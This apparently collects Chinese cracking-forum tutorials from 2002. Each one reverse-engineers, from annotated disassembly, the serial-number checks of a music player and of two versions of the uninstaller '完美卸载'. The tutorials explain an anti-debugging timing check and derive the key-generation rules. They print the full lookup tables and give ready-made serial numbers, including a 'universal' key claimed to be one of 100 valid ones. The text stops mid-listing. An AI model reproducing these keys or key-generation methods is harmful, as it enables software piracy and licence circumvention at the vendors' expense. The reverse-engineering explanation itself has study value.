004EE8B8 8A5306 mov dl, byte ptr [ebx+$06]
004EE8BB 885001 mov [eax+$01], dl
004EE8BE C60001 mov byte ptr [eax], $01
004EE8C1 8D55BC lea edx, [ebp-$44]
004EE8C4 8D45B8 lea eax, [ebp-$48]
004EE8C7 B103 mov cl, $03

* Reference to: system.@PStrNCat;
|
004EE8C9 E82642F1FF call 00402AF4
004EE8CE 8D55B8 lea edx, [ebp-$48]
004EE8D1 8D45B0 lea eax, [ebp-$50]

* Reference to: system.@PStrCpy;
|
004EE8D4 E84B42F1FF call 00402B24
004EE8D9 8D45BC lea eax, [ebp-$44]
004EE8DC 8A5307 mov dl, byte ptr [ebx+$07]
004EE8DF 885001 mov [eax+$01], dl
004EE8E2 C60001 mov byte ptr [eax], $01
004EE8E5 8D55BC lea edx, [ebp-$44]
004EE8E8 8D45B0 lea eax, [ebp-$50]
004EE8EB B104 mov cl, $04

* Reference to: system.@PStrNCat;
|
004EE8ED E80242F1FF call 00402AF4
004EE8F2 8D55B0 lea edx, [ebp-$50]
004EE8F5 8D45A8 lea eax, [ebp-$58]

* Reference to: system.@PStrCpy;
|
004EE8F8 E82742F1FF call 00402B24
004EE8FD 8D45BC lea eax, [ebp-$44]
004EE900 8A5308 mov dl, byte ptr [ebx+$08]
004EE903 885001 mov [eax+$01], dl
004EE906 C60001 mov byte ptr [eax], $01
004EE909 8D55BC lea edx, [ebp-$44]
004EE90C 8D45A8 lea eax, [ebp-$58]
004EE90F B105 mov cl, $05 <---- 取 5 个字符

* Reference to: system.@PStrNCat;
|
004EE911 E8DE41F1FF call 00402AF4
004EE916 8D55A8 lea edx, [ebp-$58]
004EE919 8D45EC lea eax, [ebp-$14]

* Reference to: system.@LStrFromString(String;ShortString);
|
004EE91C E8D355F1FF call 00403EF4
004EE921 8D45C4 lea eax, [ebp-$3C]
004EE924 8A530A mov dl, byte ptr [ebx+$0A]
004EE927 885001 mov [eax+$01], dl
004EE92A C60001 mov byte ptr [eax], $01
004EE92D 8D55C4 lea edx, [ebp-$3C]
004EE930 8D45C0 lea eax, [ebp-$40]

* Reference to: system.@PStrCpy;
|
004EE933 E8EC41F1FF call 00402B24
004EE938 8D45BC lea eax, [ebp-$44]
004EE93B 8A530B mov dl, byte ptr [ebx+$0B]
004EE93E 885001 mov [eax+$01], dl
004EE941 C60001 mov byte ptr [eax], $01
004EE944 8D55BC lea edx, [ebp-$44]
004EE947 8D45C0 lea eax, [ebp-$40]
004EE94A B102 mov cl, $02 <---- 注意赋给 cl 的规律

* Reference to: system.@PStrNCat;
|
004EE94C E8A341F1FF call 00402AF4
004EE951 8D55C0 lea edx, [ebp-$40]
004EE954 8D45B8 lea eax, [ebp-$48]

* Reference to: system.@PStrCpy;
|
004EE957 E8C841F1FF call 00402B24
004EE95C 8D45BC lea eax, [ebp-$44]
004EE95F 8A530C mov dl, byte ptr [ebx+$0C]
004EE962 885001 mov [eax+$01], dl
004EE965 C60001 mov byte ptr [eax], $01
004EE968 8D55BC lea edx, [ebp-$44]
004EE96B 8D45B8 lea eax, [ebp-$48]
004EE96E B103 mov cl, $03

* Reference to: system.@PStrNCat;
|
004EE970 E87F41F1FF call 00402AF4
004EE975 8D55B8 lea edx, [ebp-$48]
004EE978 8D45B0 lea eax, [ebp-$50]

* Reference to: system.@PStrCpy;
|
004EE97B E8A441F1FF call 00402B24
004EE980 8D45BC lea eax, [ebp-$44]
004EE983 8A530D mov dl, byte ptr [ebx+$0D]
004EE986 885001 mov [eax+$01], dl
004EE989 C60001 mov byte ptr [eax], $01
004EE98C 8D55BC lea edx, [ebp-$44]
004EE98F 8D45B0 lea eax, [ebp-$50]
004EE992 B104 mov cl, $04 <---- 取 4 个字符

* Reference to: system.@PStrNCat;
|
004EE994 E85B41F1FF call 00402AF4
004EE999 8D55B0 lea edx, [ebp-$50]
004EE99C 8D45E8 lea eax, [ebp-$18]

* Reference to: system.@LStrFromString(String;ShortString); <---- 根据上下文我们可以依稀认为注册码的形式为
| xxx-xxxxx-xxxx-xxx
004EE99F E85055F1FF call 00403EF4 ^^^^这部分可能有也可能没有
004EE9A4 33D2 xor edx, edx
004EE9A6 8B45F0 mov eax, [ebp-$10]

* Reference to: sysutils.StrToIntDef(System.AnsiString;System.Integer):System.Integer; <----字符串转数字
|
004EE9A9 E8FAA9F1FF call 004093A8
004EE9AE 8945FC mov [ebp-$04], eax
004EE9B1 33D2 xor edx, edx
004EE9B3 8B45EC mov eax, [ebp-$14]

* Reference to: sysutils.StrToIntDef(System.AnsiString;System.Integer):System.Integer; <----字符串转数字
|
004EE9B6 E8EDA9F1FF call 004093A8
004EE9BB 8945F8 mov [ebp-$08], eax
004EE9BE 33D2 xor edx, edx
004EE9C0 8B45E8 mov eax, [ebp-$18]

* Reference to: sysutils.StrToIntDef(System.AnsiString;System.Integer):System.Integer; <----字符串转数字
|
004EE9C3 E8E0A9F1FF call 004093A8
004EE9C8 8BD8 mov ebx, eax
004EE9CA 837DFC00 cmp dword ptr [ebp-$04], +$00 <---- 下面这几行要求注册码不能为空
004EE9CE 0F8454020000 jz 004EEC28
004EE9D4 837DF800 cmp dword ptr [ebp-$08], +$00
004EE9D8 0F844A020000 jz 004EEC28
004EE9DE 85DB test ebx, ebx
004EE9E0 0F8442020000 jz 004EEC28 <---- 跳则死！

|
004EE9E6 E83589F1FF call 00407320 ---| 这里是一个小暗桩。主要作用是判断
004EE9EB 2B8650010000 sub eax, dword ptr [esi+$0150] |__前后两次执行设计代码的时间间隔。
004EE9F1 3DF4010000 cmp eax, $000001F4 | 如果间隔过长（大于500 ms），则认
004EE9F6 0F872C020000 jnbe 004EEC28 ---| 为程序被跟踪。注册失败。
004EE9FC 8B45F8 mov eax, [ebp-$08] ---|
004EE9FF 0345FC add eax, [ebp-$04] |-- xxxxx + xxx + 8BF
004EEA02 05F88B0000 add eax, +$00008BF8 ---|
004EEA07 B910270000 mov ecx, $00002710 <---- 2170h = 10000d
004EEA0C 99 cdq
004EEA0D F7F9 idiv ecx <---- 求余，edx 保存余数
004EEA0F 8BCA mov ecx, edx <---- 保存余数到 ecx
004EEA11 8BF9 mov edi, ecx <---- 保存余数到 edi
004EEA13 81E101000080 and ecx, $80000001 <---- 将余数和80000001做与运算，Ecx保存结果
004EEA19 7905 jns 004EEA20
004EEA1B 49 dec ecx
004EEA1C 83C9FE or ecx, -$02
004EEA1F 41 inc ecx
004EEA20 2BF9 sub edi, ecx ---|
004EEA22 8BC3 mov eax, ebx |__ 要求注册码符合以下条件：
004EEA24 03C0 add eax, eax | 余数 - ecx = 2 * xxxx
004EEA26 3BF8 cmp edi, eax ---|
004EEA28 0F85FA010000 jnz 004EEC28
004EEA2E B201 mov dl, $01

* Reference to class TBitmap
|
004EEA30 A1D8C54100 mov eax, dword ptr [$41C5D8]

|
004EEA35 E8EE46F3FF call 00423128
004EEA3A 8945E4 mov [ebp-$1C], eax

* Possible String Reference to: 'CDROM'
|
004EEA3D B974EC4E00 mov ecx, $004EEC74
004EEA42 8B15DC444F00 mov edx, [$4F44DC]
004EEA48 8B45E4 mov eax, [ebp-$1C]

* Reference to: graphics.TBitmap.LoadFromResourceName(TBitmap;Windows.THandle;System.AnsiString);
|
004EEA4B E89851F3FF call 00423BE8
004EEA50 B201 mov dl, $01

* Reference to class TMemoryStream
|
004EEA52 A18C074100 mov eax, dword ptr [$41078C]

* Reference to: system.TObject.Create(TObject;Boolean);
|
004EEA57 E86045F1FF call 00402FBC
004EEA5C 8BD8 mov ebx, eax
004EEA5E 8BD3 mov edx, ebx
004EEA60 8B45E4 mov eax, [ebp-$1C]
004EEA63 8B08 mov ecx, [eax]

* Possible reference to virtual method TBitmap.OFFS_54
|
004EEA65 FF5154 call dword ptr [ecx+$54]
004EEA68 33C9 xor ecx, ecx
004EEA6A BA40000000 mov edx, $00000040
004EEA6F 8BC3 mov eax, ebx
004EEA71 8B38 mov edi, [eax]

* Reference to method TMemoryStream.Seek(Longint,Word)
|
004EEA73 FF570C call dword ptr [edi+$0C]

* Reference to field TProcessRegister.OFFS_0160
|
004EEA76 8D9660010000 lea edx, [esi+$0160]
004EEA7C B930000000 mov ecx, $00000030
004EEA81 8BC3 mov eax, ebx
004EEA83 8B38 mov edi, [eax]

* Reference to method TMemoryStream.Read(Pointer,Longint)
|
004EEA85 FF5704 call dword ptr [edi+$04]
004EEA88 8B45E4 mov eax, [ebp-$1C]

* Reference to: system.TObject.Free(TObject);
|
004EEA8B E85C45F1FF call 00402FEC
004EEA90 8BC3 mov eax, ebx

* Reference to: system.TObject.Free(TObject);
|
004EEA92 E85545F1FF call 00402FEC

|
004EEA97 E88488F1FF call 00407320
004EEA9C 2B8650010000 sub eax, dword ptr [esi+$0150]
004EEAA2 3DF4010000 cmp eax, $000001F4 <---- 不能跳！原理同上。
004EEAA7 0F877B010000 jnbe 004EEC28
004EEAAD C745D800000000 mov dword ptr [ebp-$28], $00000000
004EEAB4 C745DC00000000 mov dword ptr [ebp-$24], $00000000
004EEABB 8D55D4 lea edx, [ebp-$2C]

* Reference to field TProcessRegister.OFFS_0154
|
004EEABE 8B8654010000 mov eax, [esi+$0154] <---- 获得注册名

* Reference to: sysutils.UpperCase(System.AnsiString):System.AnsiString; <---- UpperCase 字符小写变大写
|
004EEAC4 E80BA4F1FF call 00408ED4
004EEAC9 8B45D4 mov eax, [ebp-$2C]

* Reference to: system.@LStrLen:Integer; <---- LStrLen:Integer 获取注册名长度
|
004EEACC E87F54F1FF call 00403F50
004EEAD1 8BD8 mov ebx, eax
004EEAD3 4B dec ebx
004EEAD4 85DB test ebx, ebx <---- 要求注册名长度不能为 0
004EEAD6 7C2F jl 004EEB07
004EEAD8 43 inc ebx
004EEAD9 33C9 xor ecx, ecx
004EEADB 8BC1 mov eax, ecx ----|
004EEADD BF0C000000 mov edi, $0000000C |
004EEAE2 99 cdq |
004EEAE3 F7FF idiv edi | 这段循环的主要作用是：
004EEAE5 8B849660010000 mov eax, [esi+edx*4+$0160] |
004EEAEC 8B55D4 mov edx, [ebp-$2C] | 在esi+$0160 处有一个码表，每 4
004EEAEF 0FB6140A movzx edx, byte ptr [edx+ecx] |
004EEAF3 F7EA imul edx |--- 个字节为一单位，共有 12 值。
004EEAF5 33D2 xor edx, edx |
004EEAF7 0345D8 add eax, [ebp-$28] | 依次取注册名的 ASCII 与之相乘，
004EEAFA 1355DC adc edx, [ebp-$24] |
004EEAFD 8945D8 mov [ebp-$28], eax | 并将结果进行累加
004EEB00 8955DC mov [ebp-$24], edx |
004EEB03 41 inc ecx |
004EEB04 4B dec ebx |
004EEB05 75D4 jnz 004EEADB ----|
004EEB07 B8FFFFFFFF mov eax, $FFFFFFFF
004EEB0C BAFFFFFF7F mov edx, $7FFFFFFF
004EEB11 52 push edx
004EEB12 50 push eax
004EEB13 6A00 push $00
004EEB15 6836010000 push $00000136
004EEB1A 8B45D8 mov eax, [ebp-$28]
004EEB1D 8B55DC mov edx, [ebp-$24]

|
004EEB20 E82781F1FF call 00406C4C <--- 将结果乘以 0136h
004EEB25 290424 sub dword ptr [esp], eax
004EEB28 19542404 sbb [esp+$04], edx 7FFFFFFFh - 相乘后的结果
004EEB2C 58 pop eax
004EEB2D 5A pop edx
004EEB2E 52 push edx
004EEB2F 50 push eax
004EEB30 8D45F4 lea eax, [ebp-$0C]

* Reference to: sysutils.IntToStr(System.Int64):System.AnsiString;overload; <---- 整数转字符串
|
004EEB33 E8BCA7F1FF call 004092F4
004EEB38 8D45D0 lea eax, [ebp-$30]
004EEB3B 50 push eax
004EEB3C B903000000 mov ecx, $00000003
004EEB41 BA07000000 mov edx, $00000007 <---- 从第 7 位开始取，共取 3 个
004EEB46 8B45F4 mov eax, [ebp-$0C] 假设为 yyy

* Reference to: system.@LStrCopy;
|
004EEB49 E80A56F1FF call 00404158
004EEB4E 8D45CC lea eax, [ebp-$34]
004EEB51 50 push eax
004EEB52 B905000000 mov ecx, $00000005
004EEB57 BA0A000000 mov edx, $0000000A <---- 从第 A 位开始取，共取 5 个
004EEB5C 8B45F4 mov eax, [ebp-$0C] 假设为 yyyyy

* Reference to: system.@LStrCopy;
|
004EEB5F E8F455F1FF call 00404158
004EEB64 8D45C8 lea eax, [ebp-$38]
004EEB67 50 push eax
004EEB68 B902000000 mov ecx, $00000002
004EEB6D BA0F000000 mov edx, $0000000F <---- 从第 F 位开始取，共取 2 个
004EEB72 8B45F4 mov eax, [ebp-$0C] 假设为 yy

* Reference to: system.@LStrCopy;
|
004EEB75 E8DE55F1FF call 00404158
004EEB7A 8B45D0 mov eax, [ebp-$30]

* Reference to: sysutils.StrToInt(System.AnsiString):System.Integer; <---- 字符转数字
|
004EEB7D E8A6A7F1FF call 00409328
004EEB82 8BD8 mov ebx, eax
004EEB84 8B45CC mov eax, [ebp-$34]

* Reference to: sysutils.StrToInt(System.AnsiString):System.Integer; <---- 字符转数字
|
004EEB87 E89CA7F1FF call 00409328
004EEB8C 8BF8 mov edi, eax
004EEB8E 8B45C8 mov eax, [ebp-$38]

* Reference to: sysutils.StrToInt(System.AnsiString):System.Integer; <---- 字符转数字
|
004EEB91 E892A7F1FF call 00409328
004EEB96 8B55F8 mov edx, [ebp-$08] ---|
004EEB99 33D0 xor edx, eax | 此处要求注册码符合以下条件：
004EEB9B 3BFA cmp edi, edx |
004EEB9D 0F8585000000 jnz 004EEC28 |-- yy xor yyyyy = xxxxx
004EEBA3 3345FC xor eax, [ebp-$04] |
004EEBA6 3BD8 cmp ebx, eax | yy xor yyy = xxx
004EEBA8 757E jnz 004EEC28 ---|

* Reference to field TProcessRegister.OFFS_015C
|
004EEBAA C6865C01000001 mov byte ptr [esi+$015C], $01
004EEBB1 8D45A4 lea eax, [ebp-$5C]

* Possible String Reference to: 'Player.ini'
|
004EEBB4 B984EC4E00 mov ecx, $004EEC84
004EEBB9 8B1580D44F00 mov edx, [$4FD480]

......

****** END

到这里，该注册码的前三部分就已经分析完毕了。大概步骤就是由注册名得出前两部分的注册码yyy-yyyyy（见004EEAD9 和 004EEB96 ）

，然后由后两部分再推出第三部分注册码yyy（见004EEA0D）。

那么是否到此就基本结束了呢？我们可以具体验证一下。填入注册名Crack007,注册码887-32717-4718，显示“谢谢你选择了天音怒放”。

好像是没多大问题了。但关闭后再运行软件，依旧显示未注册版本。怎么回事呢？让我们仔细想一想，问题究竟出在哪里。

在假定前面分析正确的基础上我们设想，如果软件在启动时没有在其他地方进行比对，而是单单进入刚才我们所分析的地方，那么应该是

没有什么问题的。但现在出了问题，就说明软件在启动时还在其他地方进行了注册码的比对。那么到底是在哪里呢？

我们很容易得知软件的注册信息保存在其安装目录下的Player.ini文件当中。具体格式为：

[Register]
Name=Crack007
Code=887-32717-4718

因此我们用w32dasm对其反汇编后在字符串参考里面找Name。为什么不选用player.ini做搜索的关键词呢？因为player.ini还包含有其他信

息，调用的地方比较多，不利于我们的跟踪。因此我们最好选用Name或Code来查看。
在字符串参考里面我们不断双击Name字串，可以发现共有4个地方调用到字串Name。其中3个都在刚才我们分析的代码范围之内，只有一个

例外。看来问题多半就出在他身上。让我们到那里仔细看看：

-------------------------------------------------------------------------------------
* Referenced by a CALL at Address:
|:004E7BD3 <---- 原来是在 004E7BD3 转过来的。到 004E7BD3 那边看看去。
|
:004EE41C 55 push ebp
:004EE41D 8BEC mov ebp, esp
:004EE41F 6A00 push 00000000
:004EE421 6A00 push 00000000
:004EE423 6A00 push 00000000

......

:004EE455 E89A4CF9FF call 004830F4
:004EE45A 8BF0 mov esi, eax
:004EE45C 8BC3 mov eax, ebx
:004EE45E E851030000 call 004EE7B4
:004EE463 6A00 push 00000000
:004EE465 8D45F8 lea eax, dword ptr [ebp-08]
:004EE468 50 push eax

* Possible StringData Ref from Code Obj ->"Name" <---- 到此处，向上看
|
:004EE469 B9F4E44E00 mov ecx, 004EE4F4

------------------------------------------------------------------------------------

***** TRY

......

|
004E7BD3 E844680000 call 004EE41C <---- 来源于这里，

* Reference to field TProcessRegister.OFFS_015C
|
004E7BD8 80BE5C01000000 cmp byte ptr [esi+$015C], $00
004E7BDF 7407 jz 004E7BE8 <---- 判断注册码是否符合前面的条件
004E7BE1 8BC6 mov eax, esi

|
004E7BE3 E838690000 call 004EE520 <---- 关键Call，用 Dede 双击跟进

* Reference to field TProcessRegister.OFFS_015C
|
004E7BE8 8A9E5C010000 mov bl, byte ptr [esi+$015C]
004E7BEE 84DB test bl, bl
004E7BF0 7423 jz 004E7C15 <---- 判断

* Reference to pointer to GlobalVar_004FD478
|
004E7BF2 A150344F00 mov eax, dword ptr [$4F3450]

* Reference to field TProcessRegister.OFFS_0154
|
004E7BF7 8B9654010000 mov edx, [esi+$0154]

* Reference to: system.@LStrAsg;
|
004E7BFD E822C1F1FF call 00403D24

* Reference to pointer to GlobalVar_004FD478
|
004E7C02 A150344F00 mov eax, dword ptr [$4F3450]
004E7C07 83C004 add eax, +$04

* Reference to field TProcessRegister.OFFS_0158
|
004E7C0A 8B9658010000 mov edx, [esi+$0158]

* Reference to: system.@LStrAsg;
|
004E7C10 E80FC1F1FF call 00403D24
004E7C15 84DB test bl, bl
004E7C17 7512 jnz 004E7C2B <---- 这里可跳过 004E7C29 处的 JMP，再向上看。
004E7C19 8BC6 mov eax, esi

|
004E7C1B E8EC690000 call 004EE60C

* Reference to pointer to GlobalVar_004FD478
|
004E7C20 8B1550344F00 mov edx, [$4F3450]

* Reference to field GlobalVar_004FD478.OFFS_000C
|
004E7C26 88420C mov [edx+$0C], al
004E7C29 EB4D jmp 004E7C78 <---- 如果来到这里就玩完了！：（
004E7C2B 8D45F4 lea eax, [ebp-$0C]
004E7C2E 50 push eax

* Reference to pointer to GlobalVar_004FD478
|
004E7C2F A150344F00 mov eax, dword ptr [$4F3450]
004E7C34 8B00 mov eax, [eax]
004E7C36 8945DC mov [ebp-$24], eax
004E7C39 C645E00B mov byte ptr [ebp-$20], $0B
004E7C3D B8BC7C4E00 mov eax, $004E7CBC
004E7C42 8945E4 mov [ebp-$1C], eax
004E7C45 C645E80B mov byte ptr [ebp-$18], $0B

* Reference to pointer to GlobalVar_004FD478
|
004E7C49 A150344F00 mov eax, dword ptr [$4F3450]

* Reference to field GlobalVar_004FD478.OFFS_0004
|
004E7C4E 8B4004 mov eax, [eax+$04]
004E7C51 8945EC mov [ebp-$14], eax
004E7C54 C645F00B mov byte ptr [ebp-$10], $0B
004E7C58 8D55DC lea edx, [ebp-$24]
004E7C5B B902000000 mov ecx, $00000002

* Possible String Reference to: '本软件受权给: %s%s注册码: %s' <---- 猫腻果然在这里！
| 向上看看怎么办才可以来到这里。
004E7C60 B8C87C4E00 mov eax, $004E7CC8

......

------------------------------------------------------------------------

***** TRY
|
004EE53B 64FF30 push dword ptr fs:[eax]
004EE53E 648920 mov fs:[eax], esp

* Reference to field TProcessRegister.OFFS_0158
|
004EE541 8B8658010000 mov eax, [esi+$0158]

* Reference to: system.@LStrLen:Integer; <---- LStrLen:Integer 注册码长度
|
004EE547 E8045AF1FF call 00403F50
004EE54C 83F812 cmp eax, +$12 <---- 必须是 12h=18 位，此处证明注册码格式为
004EE54F 740C jz 004EE55D xxx-xxxxx-xxxx-xxx

* Reference to field TProcessRegister.OFFS_015C
|
004EE551 C6865C01000000 mov byte ptr [esi+$015C], $00
004EE558 E981000000 jmp 004EE5DE
004EE55D 8D45FC lea eax, [ebp-$04]
004EE560 50 push eax
004EE561 B903000000 mov ecx, $00000003
004EE566 BA10000000 mov edx, $00000010

* Reference to field TProcessRegister.OFFS_0158
|
004EE56B 8B8658010000 mov eax, [esi+$0158]

* Reference to: system.@LStrCopy;
|
004EE571 E8E25BF1FF call 00404158
004EE576 33D2 xor edx, edx
004EE578 8B45FC mov eax, [ebp-$04]

* Reference to: sysutils.StrToIntDef(System.AnsiString;System.Integer):System.Integer;
|
004EE57B E828AEF1FF call 004093A8
004EE580 8945F8 mov [ebp-$08], eax
004EE583 837DF800 cmp dword ptr [ebp-$08], +$00
004EE587 7509 jnz 004EE592

* Reference to field TProcessRegister.OFFS_015C
|
004EE589 C6865C01000000 mov byte ptr [esi+$015C], $00
004EE590 EB4C jmp 004EE5DE
004EE592 33C0 xor eax, eax
004EE594 8945F4 mov [ebp-$0C], eax
004EE597 BF01000000 mov edi, $00000001

* Reference to field TProcessRegister.OFFS_0158
|
004EE59C 8B8658010000 mov eax, [esi+$0158] ----|
004EE5A2 8A5C38FF mov bl, byte ptr [eax+edi-$01] |
004EE5A6 8BC3 mov eax, ebx |
004EE5A8 04D0 add al, -$30 |
004EE5AA 2C0A sub al, $0A |
004EE5AC 731B jnb 004EE5C9 |
004EE5AE 8D45F0 lea eax, [ebp-$10] |
|
* Reference to field TProcessRegister.OFFS_0158 |
| | 一句一句说太麻烦，总而言之一句话：
004EE5B1 8B9658010000 mov edx, [esi+$0158] |
004EE5B7 8BD3 mov edx, ebx |--- 第四部分注册码等于前三部分注册码的数字之和
|
* Reference to: system.@LStrFromChar(String;Char); | 自己捉摸吧，很简单的。 *^_^*
| |
004EE5B9 E8BA58F1FF call 00403E78 |
004EE5BE 8B45F0 mov eax, [ebp-$10] |
|
* Reference to: sysutils.StrToInt(System.AnsiString):System.Integer; |
| |
004EE5C1 E862ADF1FF call 00409328 |
004EE5C6 0145F4 add [ebp-$0C], eax |
004EE5C9 47 inc edi |
004EE5CA 83FF0F cmp edi, +$0F |
004EE5CD 75CD jnz 004EE59C ----|
004EE5CF 8B45F4 mov eax, [ebp-$0C]
004EE5D2 3B45F8 cmp eax, [ebp-$08]
004EE5D5 7407 jz 004EE5DE

----------------------------------------------------------------------------------------

不管怎样，写到这里就告一段落了。教程可真难写，尤其是排版。。。。。

.....


完美卸载 V5.01

 标 题:完美卸载 V5.01 算法分析 (6千字)
发信人:PaulYoung[CCG]
时 间:2002-2-2 21:27:52
详细信息:
完美卸载 V5.01 算法分析

作 者：PaulYoung / 属于 China Cracking Group
软件下载：http://wjfso.home.chinaren.com
破解工具：SoftICE
破解时间：2002.2.2

*******************************************************************************

    这是一个非常简单的应用了查表的注册码算法，适合我这种小鸟练练手……　　:)

    软件共分 5 个框输入注册码，我将这 5 个框各段注册码依先后顺序分别称为 N1 , N2 , N3 , N4 ,N5

:004094D1 E8CD160100 call 0041ABA3 // 取 N5
:004094D6 83C414 add esp, 00000014
:004094D9 85C0 test eax, eax // 一定要大于或等于 1
:004094DB 0F8ED9010000 jle 004096BA
:004094E1 83F864 cmp eax, 00000064 // 一定要小于或等于 100
:004094E4 0F8FD0010000 jg 004096BA
:004094EA 3B34850C924400 cmp esi, dword ptr [4*eax+0044920C] //从表①取一数据与 N1 比较
:004094F1 0F85BA010000 jne 004096B1
:004094F7 3B3C85B48F4400 cmp edi, dword ptr [4*eax+00448FB4] //从表②取一数据与 N2 比较
:004094FE 0F85AD010000 jne 004096B1
:00409504 3B1C855C8D4400 cmp ebx, dword ptr [4*eax+00448D5C] //从表③取一数据与 N3 比较
:0040950B 0F85A0010000 jne 004096B1
:00409511 8B542410 mov edx, dword ptr [esp+10]　 // N4　送 edx
:00409515 8B0C85048B4400 mov ecx, dword ptr [4*eax+00448B04]// 从表④取一数据
:0040951C 3BD1 cmp edx, ecx // N4 与从表④取出的数据比较
:0040951E 0F858D010000 jne 004096B1

_____________________________________________________________________________________________

    表①如下，共100个数据：

00002950 00002953 00002956
0000295A 0000295D 00002960 00002963
0000296A 0000296D 00002970 00002974
00002977 0000297A 0000297D 00002981
00002984 00002987 0000298B 0000298E
00002991 00002994 00002998 0000299B
0000299E 000029A1 000029A5 000029A8
000029AB 000029AE 000029B2 000029B5
000029B8 000029BB 000029BF 000029C2
000029C5 000029CC 000029CF 000029D2
000029D6 000029D9 000029DC 000029DF
000029E3 000029E6 000029E9 000029EC
000029F0 000029F3 000029F6 000029FA
000029FD 00002A00 00002A03 00002A07
00002A0A 00002A0D 00002A10 00002A14
00002A17 00002A1A 00002A1D 00002A21
00002A24 00002A27 00002A2B 00002A2E
00002A31 00002A34 00002A38 00002A3B
00002A3E 00002A45 00002A48 00002A4B
00002A4E 00002A52 00002A55 00002A58
00002A5C 00002A5F 00002A62 00002A65
00002A69 00002A6C 00002A6F 00002A72
00002A76 00002A79 00002A7C 00002A7F
00002A83 00002A86 00002A8C 00002A90
00002A93 00002A96 00002A9A 00002A9D
00002AA0

    表②如下，共100个数据：

00000350 00002D4C 00005749
00000145 00002B41 0000553E 00007F3A
00005333 00007D2F 0000272C 00005128
00007B25 00002521 00004F1D 0000791A
00002316 00004D13 0000770F 0000210B
00004B08 00007504 00001F01 000048FD
000072FA 00001CF6 000046F2 000070EF
00001AEB 000044E8 00006EE4 000018E0
000042DD 00006CD9 000016D6 000040D2
00006ACE 00003EC7 000068C4 000012C0
00003CBC 000066B9 000010B5 00003AB2
000064AE 00000EAA 000038A7 000062A3
00000CA0 0000369C 00006098 00000A95
00003491 00005E8E 0000088A 00003287
00005C83 0000067F 0000307C 00005A78
00000475 00002E71 0000586D 0000026A
00002C66 00005663 0000005F 00002A5B
00005458 00007E54 00002851 0000524D
00007C49 00005042 00007A3F 0000243B
00004E37 00007834 00002230 00004C2D
00007629 00002025 00004A22 0000741E
00001E1B 00004817 00007214 00001C10
0000460C 00007009 00001A05 00004402
00006DFE 000017FA 00006BF3 000015F0
00003FEC 000069E8 000013E5 00003DE1
000067DE

    表③如下，共100个数据：

000011AB 00005773 00001D3B
00006304 000028CC 00006E94 0000345C
00003FED 000005B5 00004B7D 00001145
0000570D 00001CD5 0000629E 00002866
00006E2E 000033F6 000079BE 00003F86
0000054F 00004B17 000010DF 000056A7
00001C6F 00006237 00002800 00006DC8
00003390 00007958 00003F20 000004E8
00004AB1 00001079 00005641 00001C09
000061D1 00006D62 0000332A 000078F2
00003EBA 00000482 00004A4B 00001013
000055DB 00001BA3 0000616B 00002733
00006CFC 000032C4 0000788C 00003E54
0000041C 000049E4 00000FAD 00005575
00001B3D 00006105 000026CD 00006C95
0000325E 00007826 00003DEE 000003B6
0000497E 00000F46 0000550F 00001AD7
0000609F 00002667 00006C2F 000031F7
000077C0 00000350 00004918 00000EE0
000054A9 00001A71 00006039 00002601
00006BC9 00003191 0000775A 00003D22
000002EA 000048B2 00000E7A 00005442
00001A0B 00005FD3 0000259B 00006B63
0000312B 000076F3 00000284 0000484C
00000E14 000053DC 000019A4 00005F6D
00002535

    表④如下，共100个数据：

00005277 00003076 00000E75
00006C74 00004A74 00002873 00000672
00004271 00002070 00007E70 00005C6F
00003A6E 0000186E 0000766D 0000546C
0000326C 0000106B 00006E6A 00004C6A
00002A69 00000868 00006667 00004467
00002266 00000065 00005E65 00003C64
00001A63 00007863 00005662 00003461
00001261 00007060 00004E5F 00002C5F
00000A5E 0000465C 0000245C 0000025B
0000605A 00003E5A 00001C59 00007A58
00005858 00003657 00001456 00007256
00005055 00002E54 00000C54 00006A53
00004852 00002651 00000451 00006250
0000404F 00001E4F 00007C4E 00005A4D
0000384D 0000164C 0000744B 0000524B
0000304A 00000E49 00006C49 00004A48
00002847 00000647 00006446 00004245
00002044 00005C43 00003A42 00001842
00007641 00005440 00003240 0000103F
00006E3E 00004C3E 00002A3D 0000083C
0000663C 0000443B 0000223A 00000039
00005E39 00003C38 00001A37 00007837
00005636 00003435 00007034 00004E33
00002C33 00000A32 00006831 00004631
00002430

_________________________________________________________________________________________

算法总结：
    软件的注册码与用户名无关，当然不能为空。
    1≤N5≤100 ，以 N5 为指针，指向表①、表②、表③、表④中要取的数据的位置。

    例如：当 N5 = 1 时，则
N1=0x2950 , 即 10 进制的 10576
N2=0x350 , 即 10 进制的 848
N3=0x11AB , 即 10 进制的 4523
N4=0x5277 , 即 10 进制的 21111

    得到一个万能注册码： 10576-848-4523-21111-1

   万能注册码共有 100 个！

    是不是好简单？ *^_^*

    我的 QQ ：65827779 （如果你不是破解爱好者，请不要 Q 我哦！）
    如有错漏，还望各位密界大鸟批评指正！！


完美卸载6.0

 标 题:完美卸载6.0注册算法分析 (2千字)
发信人:DiKeN
时 间:2002-2-27 12:55:25
详细信息:
M1,M2,M3,M4=======>魔术数组
R1-R2-R3-R4=======>预注册码
C1-C2-C3-C4-C5====>注册码
=============================================================
C5随机产生,但必须在[1-$8C]之内

:10003CB3 8B8424C4020000 mov eax, dword ptr [esp+000002C4]========>C5
:10003CBA 8B8C24B4020000 mov ecx, dword ptr [esp+000002B4]========>C1
:10003CC1 8B6C242C mov ebp, dword ptr [esp+2C]==============>R2
:10003CC5 83C410 add esp, 00000010
:10003CC8 8B148530AB0110 mov edx, dword ptr [4*eax+1001AB30]======>M1
:10003CCF 2BCD sub ecx, ebp
:10003CD1 3BD1 cmp edx, ecx===================>C1=M1[C5]+R2
:10003CD3 0F851B020000 jne 10003EF4==========>错误
:10003CD9 8B9424A8020000 mov edx, dword ptr [esp+000002A8]========>C2
:10003CE0 8B742418 mov esi, dword ptr [esp+18]==============>R1
:10003CE4 8B0C85FCA70110 mov ecx, dword ptr [4*eax+1001A7FC]======>M2
:10003CEB 2BD6 sub edx, esi
:10003CED 3BCA cmp ecx, edx===================>C2=M2[C5]+R1
:10003CEF 0F85FF010000 jne 10003EF4
:10003CF5 8B8C24AC020000 mov ecx, dword ptr [esp+000002AC]========>C3
:10003CFC 8B742410 mov esi, dword ptr [esp+10]==============>R4
:10003D00 8B1485C8A40110 mov edx, dword ptr [4*eax+1001A4C8]======>M3
:10003D07 2BCE sub ecx, esi
:10003D09 3BD1 cmp edx, ecx===================>C3=M3[C5]+R4
:10003D0B 0F85E3010000 jne 10003EF4
:10003D11 8B9424B0020000 mov edx, dword ptr [esp+000002B0]========>C4
:10003D18 8B742414 mov esi, dword ptr [esp+14]==============>R3
